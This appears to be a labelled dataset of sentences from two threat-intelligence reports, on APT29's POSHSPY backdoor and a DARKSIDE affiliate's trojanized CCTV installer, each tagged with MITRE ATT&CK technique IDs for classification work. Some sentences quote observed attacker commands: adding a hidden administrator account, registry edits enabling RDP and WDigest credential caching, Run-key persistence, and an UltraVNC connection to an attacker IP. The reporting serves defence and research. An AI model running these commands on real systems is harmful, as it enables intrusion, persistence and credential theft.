{"sentence": "Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types: ICO GIF JPG PNG MP3 BMP The sample in this example used 11 legitimate domains owned by an organization located near the victim.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "When combined with the other options in the DGA, 550 unique C2 URLs could be generated.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Infrequent beaconing, use of DGA and compromised infrastructure for C2, and appended file headers used to bypass content inspection made this backdoor difficult to identify using typical network monitoring techniques.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Conclusion POSHSPY is an excellent example of the skill and craftiness of APT29.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "By “living off the land” they were able to make an extremely discrete backdoor that they can deploy alongside their more conventional and noisier backdoor families, in order to help ensure persistence even after remediation.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "As stealthy as POSHSPY can be, it comes to light quickly if you know where to look.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Enabling and monitoring enhanced PowerShell logging can capture malicious code as it executes and legitimate WMI persistence is so rare that malicious persistence quickly stands out when enumerating it across an environment.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This is one of several sneaky backdoor families that we have identified, including an off-the-shelf domain fronting backdoor and HAMMERTOSS.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "When responding to an APT29 breach, it is vital to increase visibility, fully scope the incident before responding and thoroughly analyze accessed systems that don't contain known malware.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Additional Reading This PowerShell logging blog post contains more information on improving PowerShell visibility in your environment.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This excellent whitepaper by William Ballenthin, Matt Graeber and Claudiu Teodorescu contains additional information on WMI offense, defense and forensics.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This presentation by Christopher Glyer and Devon Kerr contains additional information on attacker use of WMI in past Mandiant investigations.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The FireEye FLARE team released a WMI repository-parsing tool that allows investigators to extract embedded data from the WMI repository and identify WMI persistence.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "As reported in the Mandiant post, \"Shining a Light on DARKSIDE Ransomware Operations,\" Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background).", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "DARKSIDE RaaS In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The post cited law enforcement pressure and pressure from the United States for this decision.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Background In June 2021, Mandiant Consulting was engaged to respond to an intrusion.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Additional malware use such as BEACON, and lateral movement also occurred.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Supply Chain Intrusion Cycle Figure 1: Intrusion cycle Phase 1: Trojanized Installer Download Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The downloaded file was extracted to C:\\Users\\[username]\\Downloads\\06212019-General-SMARTPSS-Win32-ChnEng-IS\\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant confirmed the user intended to download, install, and use the SmartPSS software.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 2 shows an image of the download page used for SmartPSS software.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 2: SmartPSS download page Phase 2: Nullsoft Installer", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The installer executable is a Nullsoft installer that when executed wrote two files to C:\\ProgramData\\SMARTPSS-Win32_ChnEng_IS.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "We were able to extract the malicious installer script and files for analysis using 7-Zip.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The relevant section of this installer script is shown below in Figure 3. Figure 3: Nullsoft installer script section The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6).", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The former is a clean installer from the original developer and is launched first, installing the software as the user may expect.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The latter is launched with a command line URL executing the content.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4. Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe Phase 3: Downloaded VBScript and PowerShell Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.", "labels": ["T1059.003", "T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "C:\\PROGRAMDATA\\SMARTPSS-Win32_ChnEng_IS\\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241 The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "<html><head>..<script language='VBScript'>..", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "On Error Resume Next", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 6: SMOKEDHAM downloader Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "csc.exe /noconfig", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "/fullpaths @'C:\\Users\\ [username]\\AppData\\Local\\Temp\\qnxfhfim\\qnxfhfim.cmdline' Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file. .../t", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": ":library /utf8output /R:'System.dll' /R:'C:\\windows\\Microso", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.", "labels": ["T1090"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Phase 4: SMOKEDHAM Dropper The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor.", "labels": ["T1140"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The SMOKEDHAM backdoor source code is embedded as an encrypted string.", "labels": ["T1027"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet.", "labels": ["T1140"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval.", "labels": ["T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 7 shows the deobfuscated SMOKEDHAM dropper.", "labels": ["T1140"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 7: SMOKEDHAM dropper Phase 5: SMOKEDHAM Backdoor SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture.", "labels": ["T1056.001", "T1113"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM Network Communications SMOKEDHAM communicates with its C2 server using HTTPS.", "labels": ["T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor uses domain fronting to obfuscate its true C2 server.", "labels": ["T1090"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor.", "labels": ["T1090"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests.", "labels": ["T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The ID field contains a unique value generated by the backdoor for the target system.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The UUID field may contain a unique value used to track command output or be empty.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "When the C2 server responds with a command to execute, it sets the UUID field to a unique value.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.", "labels": ["T1071.001", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The Data field may contain RC4-encrypted, Base64-encoded command data or be empty.", "labels": ["T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor uses the Data field to send command output to its C2 server.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The C2 server uses the Data field to send commands to the backdoor to execute.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field.", "labels": ["T1140", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.", "labels": ["T1140", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM Commands SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field.", "labels": ["T1140", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1. Keyword Action delay Update its sleep interval screenshot Upload a screen capture to its C2 server via a subsequent HTTP POST request exit Terminate Table 1: Plaintext command data keywords If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it.", "labels": ["T1041", "T1071.001", "T1113"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.", "labels": ["T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes.", "labels": ["T1056.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.", "labels": ["T1041", "T1056.001", "T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM In Action SMOKEDHAM was observed executing commands on the target system using PowerShell.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following commands were used to collect information about the system and logged in users.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "net.exe user net.exe users whoami.exe whoami.exe /priv systeminfo.exe", "labels": ["T1033", "T1082"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "net.exe user DefaultUser REDACTED /ADD net.exe localgroup Administrators DefaultUser /ADD reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' /v", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "DefaultUser /t REG_DWORD /d", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "0 /f", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.", "labels": ["T1021.001", "T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "reg.exe ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server' /v fDenyTSConnections /t", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "REG_DWORD /d 0 /f reg.exe ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server' /v fSingleSessionPerUser /t", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "REG_DWORD /d 0 /f reg.exe ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v LimitBlankPasswordUse /t", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "1 /f Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential to enable credential caching.", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Phase 6: Follow-on Activity SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "These files were saved to the %APPDATA%\\Chrome\\ directory.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 8: Contents of UltraVNC.ini SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "APPDATA%\\Chrome\\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "reg.exe add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v ConhostNT /d", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "%appdata%\\Chrome\\winvnc.exe NGROK Configuration SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "These files were stored in the C:\\ProgramData\\WindNT\\ directory.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 9: Contents of VirtualHost.vbs Figure 10: Contents of ngrok.yml The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "reg.exe add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindNT /d", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "C:\\ProgramData\\WindNT\\VirtualHost.vbs Keylogger Deployment This attacker utilized an additional keylogging utility named C:\\ProgramData\\psh\\console.exe.", "labels": ["T1056.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The keylogging utility was configured to capture and record keystrokes to C:\\ProgramData\\psh\\System32Log.txt.", "labels": ["T1056.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility.", "labels": ["T1056.001", "T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations: C:\\Users\\[username]\\Start Menu\\Programs\\Startup\\desktop.lnk", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.lnk", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
